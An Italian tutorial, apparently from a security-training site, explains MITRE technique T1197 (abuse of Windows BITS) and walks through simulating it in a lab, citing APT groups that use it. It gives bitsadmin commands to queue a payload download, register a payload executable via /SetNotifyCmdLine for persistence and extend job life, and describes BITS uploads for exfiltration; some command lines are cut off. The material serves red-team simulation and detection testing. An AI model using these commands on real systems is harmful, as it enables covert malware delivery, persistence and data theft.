Iscriviti al webinar gratuito del 12 Maggio per diventare Forensic Analyst! Scopri di più
Corso Ethical Hacker: accedi alla promozione fino al 30 Aprile! Scopri di più
Il servizio Windows Background Intelligent Transfer Service (BITS) è un meccanismo di trasferimento file asincrono e a bassa banda, esposto tramite interfaccia COM, che Windows utilizza nativamente per distribuire aggiornamenti, patch e contenuti in background. Proprio questa natura "silenziosa" lo rende un vettore estremamente attraente per gli avversari: i BITS job operano in modo autonomo all'interno di un database dedicato, senza generare nuovi file sul disco o modifiche al registro visibili ai controlli tradizionali, e il traffico BITS è tipicamente consentito dai firewall di rete e di host.
La tecnica T1197 si colloca in due tattiche distinte della kill chain. Come tecnica di Defense Evasion (TA0005), consente di scaricare, eseguire e ripulire codice malevolo sfruttando un canale legittimo e fidato dal sistema operativo. Come tecnica di Persistence (TA0003), permette di creare job a lunga durata — il lifetime predefinito è di 90 giorni, estendibile — oppure di configurare un comando di notifica (SetNotifyCmdLine) che viene eseguito al completamento o all'errore del job, sopravvivendo anche ai riavvii di sistema.
Con 5 gruppi APT documentati, 8 software che ne fanno uso e 3 mitigazioni disponibili, questa tecnica rappresenta un punto di convergenza tra attori con motivazioni molto diverse — dallo spionaggio statale al ransomware — uniti dalla scelta di un canale operativo che il sistema considera intrinsecamente legittimo.
Il modo più diretto per simulare un abuso di BITS in laboratorio è utilizzare BITSAdmin (built-in in Windows), il tool nativo a riga di comando che diversi gruppi APT impiegano nelle operazioni reali. Lo scenario classico si articola in tre fasi: creazione del job, trasferimento del payload e configurazione della persistenza.
Per prima cosa, crea un job e aggiungi un file da scaricare dal tuo server C2 di laboratorio:
bitsadmin /create MioJobTest
bitsadmin /addfile MioJobTest
Questo replica esattamente ciò che facevano APT41 e Leviathan, che utilizzavano BITSAdmin per scaricare e installare payload aggiuntivi sui sistemi compromessi. Il job viene accodato nel database BITS interno e il trasferimento avviene sfruttando la banda inattiva, rendendo l'attività quasi invisibile al monitoraggio di rete superficiale.
La componente più insidiosa, però, è la persistenza tramite notifica. Il flag /SetNotifyCmdLine consente di specificare un eseguibile che BITS lancerà automaticamente al completamento — o all'errore — del job. UBoatRAT sfruttava precisamente questa funzionalità per mantenersi attivo sui sistemi infetti:
bitsadmin /SetNotifyCmdLine MioJobTest C:\Users\Public\payload.exe NULL
Per rendere il job longevo e resistente ai riavvii, puoi configurare un retry delay minimo e prolungare artificialmente la vita del job:
bitsadmin /setminretrydelay MioJobTest 86400
In alternativa a BITSAdmin, PowerShell offre i cmdlet nativi del modulo BitsTransfer (built-in in Windows):
Start-BitsTransfer -Source
Per simulare lo scenario di esfiltrazione via BITS — come documentato per APT39, che usava il protocollo BITS per esfiltrare dati rubati — puoi creare un job di tipo upload verso un server controllato. BITS supporta nativamente upload verso endpoint compatibili, offrendo un canale di exfiltration over alternative protocol che molti SOC non monitorano.
Con Cobalt Strike (a pagamento), il beacon può essere scaricato tramite BITSAdmin in modo nativo, replicando una catena d'attacco enterprise-grade. Per ambienti lab a budget zero, puoi combinare BITSAdmin con un semplice server HTTP Python per il hosting del payload.
Infine, per testare la detection, verifica che il tuo job compaia nella lista attiva:
bitsadmin /list /allusers /verbose
Questo comando è anche il primo che un difensore eseguirà durante un triage, quindi assicurati che i tuoi alert lo intercettino.
Scarica la guida gratuita e segui il percorso corretto fin dal primo passo